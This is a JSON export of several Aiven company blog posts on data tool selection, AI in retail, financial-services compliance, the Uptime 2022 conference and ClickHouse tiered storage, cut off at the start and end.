Epic Systems or Cerner Corporation help healthcare organizations meet HIPAA requirements. PCI DSS-compliant payment gateways such as Stripe or Braintree can be used for secure credit card transactions.\n\n### Ensuring minimal data exposure\n\n- **Implementing robust access control:** Use principles like Least Privilege and Role-Based Access Control to ensure each user accesses only what they need, no more.\n\t- **Possible tech match:** PostgreSQL, MySQL, Kafka, are a few options that provide ways to safely dictate what users are and what they can do. Tools like Klaw, port the user and role definition to match internal processes.\n- **Data masking and encryption:** Keep sensitive information hidden and secure at rest and in transit.\n\t- **Possible tech match:** Data Masking and Encryption Tools. Utilize database encryption solutions like Amazon RDS encryption or file-level encryption tools like VeraCrypt. Aiven for PostgreSQL and Aiven for Flink can be used to mask, obscure and aggregate data\n\n## How much data do you have, and what is it's growth trajectory?\n\nWhen thinking about the amount of data and how the data will expand, it is vital to consider long term storage of your data, how quickly data can be accessed, and how your data will grow over time.\n\n### Understanding your data's volume\n\n- **Small to large scale:** It's essential to choose tools and strategies to handle this growth, from gigabytes in a local database to petabytes in cloud-based, distributed systems.\n\t- **Possible tech match:** Data tools like PostgreSQL and Kafka are often used for scalability. Especially moving to different tiers of storage needed like Kafka Tiered Storage. Data can also be parked in a data lake or Cloud-based, distributed systems like Amazon S3, Google Cloud Storage, or Azure Blob Storage are suitable for handling data that starts small and can grow to petabytes. Using one of these options can allow the data to be queried by tools such as Clickhouse. Platforms such as Aiven can assist with scaling on cloud storage.\n- **Data complexity:** In addition to volume, consider the complexity of your data. Complex data might require more advanced processing tools, even if the volume could be a lot higher.\n\t- **Possible tech match:** Advanced data processing tools like Apache Flink, Apache Spark™, or Apache Hadoop® can handle complex data structures and analytics, regardless of the volume.\n\n### Planning for future growth\n\n- **Scalability strategies:** Whether vertical scaling (enhancing existing systems) or horizontal scaling (expanding to multiple systems), your approach should be flexible and scalable.\n\t- **Possible tech match:** You may find that you need more than one tool to fit the solution for what you need to scale. An option for vertical scaling (enhancing existing systems) could be PostgreSQL and options for horizontal scaling (expanding to multiple systems) could be Cassandra, Kafka, Flink, and Clickhouse.\n- **Choosing the right technologies:** Evaluate the balance between serverless and traditional offering. Look for cloud solutions that provide the type of elasticity you require. Might it be vertical or horizontal scaling, serverless or easily scalable instances\n\t- **Possible tech match:** Cloud solutions like AWS, Google Cloud, or Azure offer elasticity and scalability. Additionally, consider NoSQL databases like Apache Cassandra® or distributed databases like Amazon DynamoDB for handling distributed data. There are many different avenues that one could go. Serverless may be less expensive initially but as it scales with traffic become exponentially more costly. Another tool you could consider would be Aiven. The Aiven platform provides you a scalable way to keep your bill under control.\n- **Data lifecycle management:** As your data grows, consider implementing data lifecycle management strategies to archive older data, keeping your active datasets efficient and manageable. \n\t- **Possible tech match:** You can Implement data lifecycle management strategies moving data from operational databases like PostgreSQL and MySQL to analytical databases like Clickhouse that can scale horizontally.\n\n## Are you keeping up with emerging trends and technologies?\n\nIt’s now time to consider how your data will morph over time and how to keep up with the emerging trends. A big factor to consider, how future proof is the infrastructure of the data. By being aware of emerging trends, you will be able to decipher if new tools will help with engineering power, storage needs, and cost optimization.\n\n### Exploring cutting-edge technologies\n\n- **Real-time processing:** Technologies like Apache Kafka are revolutionizing how we handle data, offering immediate processing and distribution capabilities.\n\t- **Possible tech match:** Apache Kafka and Apache Flink for real-time data streaming and processing. It enables rapid data processing and distribution, making it ideal for real-time analytics and event-driven applications.\n- **Big data and AI integration:** AI and machine learning tools are opening new frontiers in data analytics and automation.\n\t- **Possible tech match:** Hadoop and Spark for handling large-scale data analytics and AI integration. Additionally, consider machine learning frameworks like TensorFlow or PyTorch for advanced AI capabilities. Keep an eye on existing technologies as they add AI capabilities, such as PostgreSQL with pgvector, OpenSearch and ClickHouse.\n- **Cloud computing advancements:** Keep an eye on the latest in cloud computing, like serverless architectures and edge computing, which can significantly impact data processing and storage strategies.\n\t- **Possible tech match:** Explore cloud computing advancements such as serverless architectures (for instance., AWS Lambda, Azure Functions) for cost-effective and scalable computing. The article “Real-Time Sentiment Analysis Using Apache Kafka and SageMaker Jupyter Notebooks” would be a good starting point to understanding the process.\n\n### Balancing stability with innovation\n\n- **Hybrid approaches:** The key is to blend the reliability of traditional databases with the agility of new technologies. This creates a versatile, robust system that can handle various data scenarios.\n\t- **Possible tech match:** Implement hybrid database systems like Aiven for PostgreSQL to blend the reliability of traditional databases with the flexibility of new technologies. Utilize Kubernetes for container orchestration to create a versatile and adaptable system.\n- **Staying informed and adaptable:** The tech landscape is ever-changing. Keeping abreast of new developments and being ready to incorporate them into your existing systems is crucial for staying ahead\n\t- **Possible tech match:** Stay informed about emerging technologies through industry-specific publications, forums, and conferences. Adopt DevOps practices and continuous integration/deployment (CI/CD) pipelines to ensure your systems remain adaptable to new developments.\n- **Environmental considerations:** As you adopt new technologies, consider their environmental impact. Energy-efficient data centers and green computing practices are becoming increasingly important in the tech world.\n\t- **Possible tech match:** Implement energy-efficient data center practices using technologies like server consolidation, virtualization, and data center cooling optimizations. Consider cloud providers focusing on sustainability, such as AWS's commitment to renewable energy.\n\n\n## Learn more\n\nIn this labyrinth of data management, understanding these five key aspects is like having a map and compass. It's about knowing where you are, where you're heading, and having the right tools for the journey. Each question we've explored is a stepping stone towards more informed, efficient, and secure data handling.\n\nSo what's your data story? Are you quickly navigating this maze's twists and turns or seeking a guiding light? Share your tales, questions, and insights below. Let's continue this conversation and grow together in this ever-changing realm of data.\n\nRemember, we're here to guide you in this complex dance of data handling. For more insights and updates, follow us on [YouTube](https://www.youtube.com/aiven_io), [LinkedIn](https://www.linkedin.com/company/aiven/), and [X](https://twitter.com/aiven_io).\n\n\n## Further reading\n\n- [Apache Kafka® and the great database debate](https://aiven.io/blog/apache-kafka-and-the-great-database-debate)\n\n- [Static IP addresses for your data infrastructure](https://aiven.io/blog/static-ip-for-your-service)\n","categories":[{"_key":"6b54389330eb","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The words \"navigating the data maze: 5 essential questions to guide your tool selection\" in white against a blue background. Aiven's logo is in the lower left.","asset":{"_ref":"image-75aa2206243b6f7559908536d6dd8bd50b07c3f9-1567x844-png","_type":"reference"}},"publishedAt":"2024-03-05T11:43:00.000Z","related":[{"_key":"ec3208206e02","_ref":"577fa3d1-0ee8-42eb-b60d-c4ba693d1a15","_type":"reference"},{"_key":"67d30fc488ac","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"afd863f8b95b","_ref":"4dfda013-9792-461d-84ef-e0feb6dfad11","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Choosing the right data tool can be complex. Explore our guide to master the challenges of handling data to match your tech needs.","metaImage":{"_type":"mainImage","alt":"The words \"navigating the data maze: 5 essential questions to guide your tool selection\" in white against a blue background. Aiven's logo is in the lower left.","asset":{"_ref":"image-75aa2206243b6f7559908536d6dd8bd50b07c3f9-1567x844-png","_type":"reference"}},"metaTitle":"5 Key Questions for Data Tool Selection | Aiven"},"slug":{"_type":"slug","current":"/blog/data-tool-selection"},"subtitle":"Unraveling the complexities of handling data to match your tech needs\n","title":"Navigating the data maze: 5 essential questions to guide your tool selection"} {"__i18n_lang":"en","_createdAt":"2024-08-14T07:34:39Z","_id":"d60a8135-7a8c-4232-903b-70fc0f255f9f","_rev":"h4ancfFTuSnQNBSq3G9WVg","_type":"post","_updatedAt":"2024-11-18T13:09:06Z","authors":[{"_key":"662214d7a6a1","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"In the last 15 years, we’ve seen slow but significant advances in AI when it comes to retail. We can all remember when AI-powered “bots” or virtual assistants began showing up on most major retail websites to assist with consumer questions and complaints. \n\nToday, it’s having a major impact on everything from reducing shrinkage and theft to personalizing the shopping experience for customers. \n\n## AI demonstrating success in retail\nAI has empowered retail businesses with really good data and information leading to remarkable success. In a [recent study](https://www.ihlservices.com/product/winning-race-of-innovation/), retailers using AI reported seeing sales more than double expectations in 2023 and anticipated a 3X increase in 2024 compared to their competitors.\n\nIt should come as no surprise then that the global AI in [retail market size](https://www.fortunebusinessinsights.com/artificial-intelligence-ai-in-retail-market-101968) is projected to grow to more than 85 billion USD by 2032. In fact, [40% of retailers](https://www.analyticsinsight.net/intelligent-automation/80-of-companies-will-adopt-intelligent-automation-by-2025) are already leveraging intelligent automation technologies, with 80% expected to adopt it by next year. For retailers, there are three clear [priorities](https://masterofcode.com/blog/generative-ai-in-retail) for AI adoption: better CX (59%), higher productivity (49%), and cost efficiency/ ROI (44%).\n\nRealizing the potential impact of AI in an omnichannel industry where consumer expectations around experience, stock availability, and delivery times are high means one thing: real-time. \n\n## Processing data right now, not tomorrow morning\nThe retail landscape is rapidly changing and globally interconnected. For the businesses operating in this ecosystem, it means every change needs to be reflected in the data. But, because of the way the ecosystem is designed, updating the data quickly is a consistent challenge for retailers.For example, processing an online order requires the retailer to rapidly verify inventory, authorize credit card payments, confirm shipping, initiate billing, and send order confirmation, all within seconds.AI is completely changing the playing field and leading to massive improvements in day-to-day operations.\n\nRetailers are using AI to analyze customer behavior and preferences in real-time, which enables them to tailor recommendations, and marketing strategies to individual consumers. This level of personalization not only enhances customer satisfaction, but also boosts sales and customer loyalty. \n\nApplications of AI are also leading to improvements in the shopping experience. For example, cosmetics retailer [Sephora](https://www.sephora.sg/pages/virtual-artist) uses facial recognition technology to enable customers to experiment with an extensive range of makeup products. Similarly, [Google](https://blog.google/products/shopping/ai-virtual-try-on-google-shopping/#:~:text=Our%20virtual%20try%2Don%20tool,that%20resonates%20most%20with%20you.) introduced a virtual try-on feature for women’s tops from popular brands.\n\nBeyond the consumer-facing impact, retailers are feeling the benefit in areas like inventory management, where AI is being used to predict demand more accurately, optimize stock levels, and reduce waste. AI systems analyze historical sales data, market trends, and external factors like weather patterns to forecast demand. AI is also revolutionizing supply chain management. Retailers use AI to enhance logistics, from route optimization for deliveries to predictive maintenance of equipment. Real-time data analytics allow for immediate adjustments in supply chain operations, improving efficiency and reducing costs. AI-driven fraud detection is enhancing security and reducing losses for retailers. By analyzing transaction patterns in real-time, AI can identify and flag suspicious activities, helping retailers respond swiftly to potential fraud.\n\nAll of this is only possible because the right data is where it needs to be when it is needed.\n\n## Seamless success for AI-driven systems\nDespite the widespread uptake of AI, retailers can’t just press the ‘buy button’ and expect it to magically fix things. Creating personalized experiences and unlocking efficiency doesn’t happen instantly, and it certainly doesn’t happen without appropriately trained and managed data. \n\nRetailers need to consider the AI models they are using and how they’re built (or acquired). Similarly, they need an infrastructure that enables them to update their AI models and can scale during peak shopping periods. Failing to do so can lead to poor performance, which can have a catastrophic effect on customer spend and loyalty. [Aiven’s services](https://aiven.io/solutions/aiven-for-retail), which offer high availability and scalability, are crucial for retailers to maintain these AI-driven systems seamlessly.\n\n## ADEO speeds up development times with data\nADEO Group serves 450 million customers in 15 countries via its home improvement brands, making it the third-largest global operator in the retail sector. However, the group was struggling with data siloed across thousands of on-premises repositories and needed to unify it under one cloud data model. ADEO began building its new data ecosystem using Aiven data services running on Google Cloud. With this centralized approach to data, ADEO sped up development times and transformed the way data was connected across its retail network. Regarding this project, Julien Charlot, Head of Databases and Middleware of ADEO, said, “We’re evolving toward a data analytics-based understanding of what we sell in the store to better understand and predict the habits of our customers. We want to connect the services to the goods people buy. So now, the application will really evolve.”\n\n## Redefining the way we interact with brands\nToday’s retail journeys are characterized by their complexity and timeliness. They combine people, technology, places, and products in different ways — with each component constantly changing. It is AI that is helping retailers adapt.\n\nBy embracing AI-driven technologies and leveraging data-driven insights, retailers can create more personalized shopping experiences, optimize inventory management, enhance customer service, and drive innovation across the entire retail value chain. As AI continues to evolve, its transformative impact on the retail industry will shape the future of commerce, driving innovation and redefining the way we shop and interact with brands.\n","categories":[{"_key":"519781712dfc","_ref":"f80824ef-ed32-4267-af89-23f63b62902d","_type":"reference"},{"_key":"0fa01c2bf319","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"},{"_key":"62fa792233c0","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-ac22b2903d03b80b3929129f0d4c2f6727ff36a3-1200x628-png","_type":"reference"}},"publishedAt":"2024-09-11T09:24:00.000Z","seo":{"_type":"metaData","metaDescription":"Real-time intelligence is no longer a nice-to-have, but necessary to to attract customers and build future-proofed retail operations","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ac22b2903d03b80b3929129f0d4c2f6727ff36a3-1200x628-png","_type":"reference"}},"metaTitle":"Unlock Retail Revenue with AI \u0026 Real-Time Data | Aiven"},"slug":{"_type":"slug","current":"/blog/retail-detail-how-ai-leverages-real-time-data-to-unlock-revenue-potential"},"subtitle":"Real-time intelligence is no longer a nice-to-have, but necessary to attract customers and build future-proofed retail operations","title":"Retail Detail: How AI Leverages Real-Time Data to Unlock Revenue Potential"} {"__i18n_lang":"en","_createdAt":"2024-08-19T06:58:55Z","_id":"96b49d13-c145-4582-bb49-71ec502a7f36","_rev":"sEwq5NBiPauorOxrhiS9Xc","_type":"post","_updatedAt":"2024-11-19T08:20:45Z","authors":[{"_key":"f8202a0f9c67","_ref":"167bca61-78ce-412f-a44e-1495de770f99","_type":"reference"}],"body":"As explored in our two most recent blogs, changing **compliance regulations and policies by specific regions and countries are having a significant impact on financial services institutions** (FSIs). This regulatory change puts a further squeeze on FSI budgets, with operational resilience rules already in effect in the UK and commencing in Australia in 2025 with CPS 230/234. Maintaining operational security and reducing the impact of risk events continues to be brought to the forefront of the finance industry in recent months. \n\nThe recent [Deloitte Report, 2023 Cybersecurity for financial services survey](https://www.deloitte.com/global/en/services/risk-advisory/perspectives/cybersecurity-insights-budgets-benchmarks-financial-services-institutions.html), highlights this focus, finding cybersecurity budgets are more constrained when compared to previous years. After digital transformation, regulatory pressure is the most important business driver, and cybersecurity functions are increasingly focusing on business impact and risk, not just technology challenges.\n\nNoting the intersection of security and regulatory risk reduction, the report states, “Regulatory drivers account for more than half of the cybersecurity budget at 46% of the firms surveyed in 2023, not far short of the 54% who report that strategic priorities are dominant.”\n\nIn this blog, **we’ll take a closer look at how compliance, risk, and security intersect through the ICT lens**, including the important consideration of how to best secure data within an organization .\n\n\n## Don’t underestimate the impact of vendor choice\n\nThere are teams within an average FSI organization that are completely dedicated to managing risk, however, within the ICT team there is a different perspective on risk. This perspective includes guaranteeing uptime, availability, security of data, contractual stability, and management of costs. It’s about ensuring there are ample resources available and they’re well managed. \n\nAn important part of mitigating risk for any FSI is to carefully review supplier contracts. Keep in mind that third party vendors can still introduce risk to your organization regardless of the contract imposed or what the vendor promises. \n\nIn some cases, clients will try to lessen the number of vendors they engage with to avoid acting as a system integrator. However, going all-in on one vendor presents its own risks/challenges, particularly when thinking about your cloud vendor requirements. For instance, a region may go offline, or you may lose your pricing leverage and the ability to make a deal, and even in the midst of overspending the cost to move can outweigh the benefit of doing so. \n\nTo avoid being locked into a single provider, **FSIs must choose technologies that are easy to resource and vendor agnostic, like open source solutions**. By using open source technologies, organizations can:\n\n1. Take advantage of widely-adopted technologies that are commonplace, well understood, and supported by broad communities\n2. Eliminate the reliance on proprietary software from a single vendor\n3. Reduce the need for high cost vendor-specific skills\n\n\n\n## The role and rationale for security mandates\n\n**While the compliance and risk team sets policies, it's up to the security team to implement them.** For example, a policy sets data encryption requirements and the security team must ensure that data is encrypted both at rest and in motion. Another policy may define who can access certain datasets, and the security team must implement detailed and granular access control lists and be able to perform detailed audits to prove compliance with the policy. Another example is Personal Private Information (PPI) compliance, where security teams must be able to mask or anonymize PPI information and demonstrate compliance with data privacy mandates.\n \nWith new regulations around data sovereignty and transfer between regions, having control over where your data lives is perennially important. Data sovereignty refers to the right of a group or individual to control the collection, storage, and interpretation of their data, subject to the laws of where that data is collected. This includes data such as personal information, intellectual property, or financial data. FSIs must comply with data sovereignty regulations both when data is collected and stored, and when transferred between regions for high availability or disaster recovery purposes.\n\n**To create relevant mandates and policies, security teams must first know where data lives.** Is it running in the customer’s private cloud environment or the service provider's environment? How much control does the business have over the data? Can the business lock the service provider out of it if needed? \n \nAt Aiven, we offer various options to ensure the objectives across security, technology, and risk teams are met. For instance, the [Bring Your Own Cloud (BYOC)](https://aiven.io/platform?t=byoc) deployment option ensures the business can run a service within their cloud account and retain total control, limiting access to data and actions that Aiven can take. More specifically, Aiven can continue to monitor the services running, backups, and more within the customer’s cloud account, but the customer can restrict Aiven’s access to sensitive data or systems by clicking ‘remove access entirely’ if they deem it necessary.\n\n\n## Saving on money and risk with the right partner\n\nAs highlighted in [Forrester’s The Total Economic Impact of the Aiven Platform](https://aiven.io/report/the-total-economic-impact-of-the-aiven-platform), choosing the right managed services partner can help FSIs save significantly on reducing risk events and supporting teams.\n\n![](https://cdn.sanity.io/images/sczeoy4w/production/338fcf56aa063f8ede6da2db00b35aa79452fd62-1871x1328.png)\n\n\nAs the report says, “Severe adverse events are uncommon, but nonetheless occur. The composite organization experiences an average impact value of $300,000 and four adverse events in Year 1, two in Year 2, and one in Year 3.” Because of this, the present value savings of increased reliability and resilience over three years amounts to $1.6 million. Adding up the total quantifiable risk-adjusted present value (PV) benefits for the composite organization over three years amounts to $5.4 million with a payback period of less than six months.\n\n[Aiven takes a security-first approach](https://aiven.io/security-compliance). **We provide dedicated virtual machines instead of multi-tenant virtual machines, automated security updates, and annual security testing.** All data is fully encrypted end-to-end at rest and in transit, including support for Dedicated VPC Peering on Aiven Cloud to provide fine grained network access control. These features help certify Aiven’s compliance with global standards, including ISAE 3000, ISO27K, GDPR, CCPA, HIPAA and PCI DSS.\n\nOur customers choose Aiven because we:\n* Simplify data infrastructure across one or multiple clouds through a unified platform\n* Offer widely-adopted open source technologies to reduce reliance on proprietary solutions and high cost vendor-specific skills\n* Provide automatic software updates with zero downtime to ensure software remains up-to-date and compliant\n* Backup data to three availability zones for high availability and disaster recovery\n* Secure data end-to-end, at rest and in motion\n* Provide 24/7/365 support anywhere in the world\n\nTo see how you can improve your security and risk management while also maximizing your tech spend, [contact Aiven](https://aiven.io/contact).\n\n\n","categories":[{"_key":"ed48fd325dfd","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"e3f3a9a0f8bb","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"},{"_key":"83645ca2799f","_ref":"c8ba2bda-6228-45e2-b987-b3fdf836c6c9","_type":"reference"},{"_key":"b046a01aa2c2","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"The Intersection of Compliance and Risk vs Security in Financial Services","asset":{"_ref":"image-b7a2ccae6a35b3043cf5acaffe90240d05cde743-1567x844-png","_type":"reference"}},"publishedAt":"2024-08-20T01:27:06.217Z","related":[{"_key":"bab450f51624","_ref":"c714d04b-cc8e-46fe-9d59-bbb0b097127e","_type":"reference"},{"_key":"67431ae95c42","_ref":"ea45396f-c903-489e-97be-3cd4dc25e6fe","_type":"reference"},{"_key":"5964861ccb33","_ref":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"FSIs face compliance, budget, and security challenges. Learn how open-source technology and reliable partners like Aiven help tackle these issues.","metaImage":{"_type":"mainImage","alt":"The intersection of compliance and risk VS security in Financial Services","asset":{"_ref":"image-b7a2ccae6a35b3043cf5acaffe90240d05cde743-1567x844-png","_type":"reference"}},"metaTitle":"Compliance, Risk \u0026 Security in Finance | Aiven"},"slug":{"_type":"slug","current":"/blog/the-intersection-of-compliance-and-risk-vs-security"},"subtitle":"FSIs face rising compliance demands, squeezing budgets and cybersecurity risks. Open-source tech and careful vendor selection can mitigate these challenges.","title":"The Intersection of Compliance and Risk vs Security in Financial Services"} {"__i18n_lang":"en","_createdAt":"2022-09-30T15:37:06Z","_id":"2dFtRWHuCVmx9uJEVFGkRx","_rev":"sEwq5NBiPauorOxrhj7URA","_type":"post","_updatedAt":"2024-11-19T11:54:07Z","authors":[{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"On September 14 - 15, Aiven ran our first conference with the aim of bringing open source data technology communities together, all in one place. Pakhuis de Zwijger in Amsterdam was the perfect location for data enthusiasts to meet, learn and mingle over two days packed with talks, workshops, and geeky chat.\n\n![uptime-01-Pakhuis-de-Zwijger](//cdn.sanity.io/images/sczeoy4w/production/539f6080f6abc17f99a242436a7361c0dd5a2f39-2908x1330.jpg)\n*Pakhuis de Zwijger, Amsterdam*\n\n## Bring the best open source data technology\nWe had some really great content covering some of the best-known technologies in the open source data space. Technologies like [PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql \"What is PostgreSQL®?\"), [Apache Kafka®](https://aiven.io/blog/what-is-apache-kafka \"What is Apache Kafka®?\"), [OpenSearch®](https://aiven.io/blog/introduction-to-opensearch \"Introduction to OpenSearch®\"), [ClickHouse®](https://aiven.io/blog/what-is-clickhouse \"What is ClickHouse®?\"), and [MySQL](https://aiven.io/blog/what-is-mysql \"What is MySQL? Get the basics here\"). We really wanted to bring a wide range of technologies to the audience, and were pleased to include in the schedule tools like Apache Pinot for real-time analytics, Apache Pulsar, Apache NiFi, Debezium, Vespa, and Grafana k6 for load testing.\n\n![uptime-02-snapshots](//cdn.sanity.io/images/sczeoy4w/production/2a2ec8cd386fbe860e808ddc6b16e85f20ba6440-4016x2684.jpg)\n*Snapshots from the event. From left to right: Lorna Mitchell during the opening notes, Elisa Usai applauding for a talk, Karin Wolok presenting on stage, and Arlemi Turpault helping out workshop participants.*\n\nWe had sessions on storage, streaming, how to make any of that even work on Kubernetes, but also observability and … dataviz bingo? You’re going to have to wait a bit while our talk recordings start to appear on the [Uptime YouTube channel](https://youtube.com/channel/UCJFoY7QwNVQtNc3T5H6MImg \"Uptime on YouTube\"), but until then find out what resources and stories were shared by our speakers [on Twitter](https://twitter.com/hashtag/UPTIME2022 \"The Uptime hashtag on Twitter\"). \n\nAiven shared an exciting update during the event too: we were proud to announce that [a Beta version of our Aiven for ClickHouse® service is now available](https://aiven.io/blog/aiven-for-clickhouse-beta-now-available \"Aiven enters cloud data warehousing marketing with open source ClickHouse® Beta\") for anyone to try. Olena Kutsenko, Developer Advocate at Aiven, and ClickHouse CTO Alexey Milovidov both led in-depth sessions on ClickHouse during Uptime.\n\nWe’d like to thank all of the speakers and workshop facilitators for bringing excellent content, and our keynote speakers for taking a chance on a first-time event.\n\n![uptime-03-keynotes](//cdn.sanity.io/images/sczeoy4w/production/a69cafa2eb4dd8da5bd273bdad33a5b9f4cc0c1c-4032x2692.jpg)\n*Keynote speakers: Dirk-Willem van Gulik, Jason Yee, Rob Barnes, and Amanda Brock*\n\nDirk-Willem van Gulik, the Apache Software Foundation’s co-founder and first president, talked about how transparency was key in the Dutch Ministry of Health’s COVID-19 response.\n\nOpenUK CEO Amanda Brock celebrated open technology and global collaboration, but also shared a caution about the ramifications of the Open Source Definition. \n\nStaff Technical Evangelist at Datadog, Jason Yee, compared the open source community to the largest organism in the world ([Pando](https://en.wikipedia.org/wiki/Pando_(tree) \"The Trembling Giant\")), except that we’re much better suited to cope with challenges thanks to our diversity.\n\nAnd Rob Barnes, Senior Developer Advocate at HashiCorp, taught us how to fend off cyber attacks with open source technology.\n\n## It’s all about the community\nWe were delighted at the support from our sponsors, workshop-, media-, and community partners. In no particular order:\n- [Postman](https://www.postman.com/)\n- [Exoscale](https://www.exoscale.com/)\n- [Axual](https://axual.com/)\n- [UpCloud](https://upcloud.com/)\n- [OpenSearch](https://opensearch.org/)\n- [Conduktor](https://www.conduktor.io/)\n- [LightDash](https://www.lightdash.com/)\n- [Berlin Buzzwords](https://2022.berlinbuzzwords.de/)\n- [The Open Source Initiative](https://opensource.org/)\n- [HashiCorp User Group Amsterdam](https://www.meetup.com/Amsterdam-HashiCorp-User-Group/)\n- [DataTalks Club](https://datatalks.club/)\n- [The ClickHouse Meetup](https://www.meetup.com/pro/clickhouse/)\n- [IT Daily](https://www.it-daily.net/) \n\nBringing Accessibility sponsors on board allowed us to get both tracks, and all talks, live captioned. These captions are enabled for the talk recordings as well. Thank you!\n\nOur Diversity Scholarship provided support to those from traditionally underrepresented groups in the technical open source community, including but not limited to persons identifying as LGBTQIA+, women, persons of color, and/or persons with disabilities. We were able to bring 13 individuals to Uptime.\n\n## Giving back to open source\n\nAll proceeds from registration fees were donated to open source foundations:\n\n- The Apache Software Foundation\n- The Open Source Initiative\n- The Linux Foundation\n\nAs a commercial organization built on the shoulders of open source projects, Aiven considers itself an important part of a healthy ecosystem and the [open source community](https://aiven.io/open-source \"Aiven and Open Source\"). We are proud to play our part in this and to be a positive force in many other ways. \n\n![uptime-04-networking](//cdn.sanity.io/images/sczeoy4w/production/c18e9fd7221639ae488e987cfb3d726750c9777c-4004x1330.jpg)\n*Uptime participants networking during the breaks*\n\nJudging by the hallway discussions, we can look forward to a number of interesting collaborations following the connections that were made at the event. Hettie Dombrovskaya, Database Architect at DRW, after years of advocating for an ORM alternative, launched the NORM (No-ORM) project on the first day of the conference, sparking both interest and discussion. \n\n## What’s next?\n\nFollow our [Uptime Twitter feed](https://twitter.com/uptimecon/) to stay informed about upcoming activities, next year's event (spoiler: there will be an Uptime 2023), the Call for Speakers, and more. Subscribe to our [YouTube channel](https://youtube.com/channel/UCJFoY7QwNVQtNc3T5H6MImg) and get notified once we upload the talk recordings. \n\n--\n\nIf you have any other feedback or questions, drop in on Aiven at [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure to follow our [blog](https://aiven.io/blog) RSS feeds, and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-28T00:00:00.000Z","seo":{"metaDescription":"Get insights from our first open source event, Uptime 2022, where industry leaders discussed data innovation and technology. Find out more in the Aiven blog!","metaImage":{"alt":"","asset":{"_ref":"image-b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844-png","_type":"reference"}},"metaTitle":"Uptime 2022, First Open Source Data Technology Event | Aiven"},"slug":{"_type":"slug","current":"/blog/all-about-aivens-first-open-source-data-technology-event-uptime-2022"},"subtitle":"In September we headed to Amsterdam to host our first - but not our last! - Uptime conference.","title":"All about Aiven's first open source data technology event: Uptime 2022"} {"__i18n_lang":"en","_createdAt":"2024-09-20T17:05:47Z","_id":"a838f74f-9ee3-474d-be9d-fb39629e0432","_rev":"ZhxRwgWPklJwoe04lnuAlZ","_type":"post","_updatedAt":"2024-11-28T09:59:34Z","authors":[{"_key":"c75db7074797","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"ClickHouse® combines its columnar design, industry leading compression, and blazing fast queries to make it one of the most performant data warehouse solutions available. Aiven for ClickHouse® takes this a step further with tiered storage, now generally available in the Aiven console. Enabling tiered storage allows you to optimize your costs by using object storage in tandem with existing SSD storage for the best of both worlds.\n\n## Tiered storage overview\n\nTiered storage can be enabled on a per-table basis either from within the Aiven console, or on the command line with the ClickHouse client. Once enabled, data will be distributed between SSDs and object storage based on your defined data threshold.\n\nBy default, once an Aiven for ClickHouse instance's SSDs hit 80% capacity, data will be automatically moved to object storage. This behavior can be further refined by [creating an explicit TTL](https://aiven.io/docs/products/clickhouse/howto/configure-tiered-storage), where all data older than a user-defined interval is moved to object storage on a recurring basis. Data can also be [manually moved to object storage](https://aiven.io/docs/products/clickhouse/howto/transfer-data-tiered-storage) as needed for any one-off use cases.\n\nAt any point you can check the distribution of data in your Aiven for ClickHouse tables from within the Aiven console. You can also query this data via the ClickHouse client like so:\n\n```\nSELECT\n database,\n table,\n disk_name,\n formatReadableSize(sum(data_compressed_bytes)) AS total_size,\n count(*) AS parts_count,\n formatReadableSize(min(data_compressed_bytes)) AS min_part_size,\n formatReadableSize(median(data_compressed_bytes)) AS median_part_size,\n formatReadableSize(max(data_compressed_bytes)) AS max_part_size\nFROM system.parts\nGROUP BY\n database,\n table,\n disk_name\nORDER BY\n database ASC,\n table ASC,\n disk_name ASC\n```\n\nWhich should provide output similar to:\n\n![](https://cdn.sanity.io/images/sczeoy4w/production/33a19707652e2ca062dbdeccd7505e8a924a9c4a-1852x232.png)\n\n\n## Example use case: logs\n\nSo, when would you want to use tiered storage in your environment? Any time you might want to trade query performance for cost optimization. For example: logs.\n\n\nAiven for ClickHouse is already a great option for logs. There's an [OpenTelemetry ClickHouse exporter](https://github.com/open-telemetry/opentelemetry-collector-contrib/tree/main/exporter/clickhouseexporter), for example, that can be combined with the [ClickHouse plugin in Aiven for Grafana](https://grafana.com/grafana/plugins/grafana-clickhouse-datasource/) to visualize queries and create logging dashboards very quickly. The trick becomes keeping that logging solution cost effective.\n\nOften an organization will have a retention policy that requires them to keep logs for months or years, but the most of the queries and analytics they run only apply to the most recent data in the table. As such, keeping the entirety of their logs on SSDs could get very costly without diminishing returns, as the vast majority of the data they're storing is rarely accessed.\n\nThe solution in this case would be to determine roughly how far back in time the average query is interested in, and define that as a TTL for triggering tiered storage. Any data older than that TTL is stored on object storage and still accessible, if slightly less performant, and the latest data is kept on SSDs so that investigating emergent issues is as fast as possible.\n\n\n## Get started with tiered storage\n\nYou can learn more about tiered storage in the 